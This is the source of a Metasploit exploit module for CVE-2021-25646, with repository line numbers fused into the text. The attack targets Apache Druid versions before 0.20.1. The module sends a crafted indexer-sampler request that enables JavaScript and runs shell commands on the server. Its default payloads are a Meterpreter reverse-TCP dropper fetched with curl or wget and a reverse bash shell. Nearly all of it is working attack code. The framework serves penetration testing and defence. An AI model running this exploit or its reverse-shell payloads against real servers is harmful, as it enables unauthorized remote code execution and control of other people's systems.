Path: blob/master/modules/exploits/linux/http/apache_druid_js_rce.rb
31903 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache Druid 0.20.0 Remote Command Execution',17'Description' => %q{18Apache Druid includes the ability to execute user-provided JavaScript code embedded in19various types of requests; however, that feature is disabled by default.2021In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request22that both enables the JavaScript code-execution feature and executes the supplied code all23at once, allowing for code execution on the server with the privileges of the Druid Server process.24More critically, authentication is not enabled in Apache Druid by default.2526Tested on the following Apache Druid versions:2728* 0.15.129* 0.16.0-iap830* 0.17.131* 0.18.0-iap332* 0.19.0-iap733* 0.20.0-iap4.134* 0.20.035* 0.21.0-iap336},37'Author' => [38'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery39'je5442804' # Metasploit module40],41'References' => [42['CVE', '2021-25646'],43['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],44['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']45],46'DisclosureDate' => '2021-01-21',47'License' => MSF_LICENSE,48'Targets' => [49[50'Linux (dropper)', {51'Platform' => 'linux',52'Type' => :linux_dropper,53'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },54'CmdStagerFlavor' => %w[curl wget],55'Arch' => [ARCH_X86, ARCH_X64]56}57],58[59'Unix (in-memory)', {60'Platform' => 'unix',61'Arch' => ARCH_CMD,62'Type' => :unix_memory,63'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }64}65],66],67'DefaultTarget' => 0,68'Privileged' => false,69'Notes' => {70'Stability' => [CRASH_SAFE],71'Reliability' => [REPEATABLE_SESSION],72'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]73}74)75)7677register_options([78Opt::RPORT(8888),79OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])80])81end8283def execute_command(cmd, _opts = {})84gencmd = '/bin/sh`@~-c`@~' + cmd85genvar = Rex::Text.rand_text_alpha(8..12)86genname = Rex::Text.rand_text_alpha(8..12)87vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")88post_data = {89type: 'index',90spec: {91ioConfig: {92type: 'index',93firehose: {94type: 'local',95baseDir: '/etc',96filter: 'passwd'97}98},99dataSchema: {100dataSource: Rex::Text.rand_text_alpha(8..12),101parser: {102parseSpec: {103format: 'javascript',104timestampSpec: {},105dimensionsSpec: {},106function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",107"": {108enabled: 'true'109}110}111}112}113},114samplerConfig: {115numRows: 10116}117}.to_json118119send_request_cgi({120'method' => 'POST',121'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),122'ctype' => 'application/json',123'headers' => {124'Accept' => 'application/json, text/plain, */*'125},126'data' => post_data127})128end129130def check131genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')132133vprint_status("Attempting to execute 'echo #{genecho}' on the target.")134res = execute_command("echo #{genecho}")135unless res136return CheckCode::Unknown('Connection failed.')137end138139unless res.code == 200140return CheckCode::Safe141end142143if res.body.include?(genecho)144return CheckCode::Vulnerable145end146147CheckCode::Unknown('Target does not seem to be running Apache Druid.')148end149150def exploit151case target['Type']152when :linux_dropper153execute_cmdstager154when :unix_memory155execute_command(payload.encoded)156end157end158159end160161162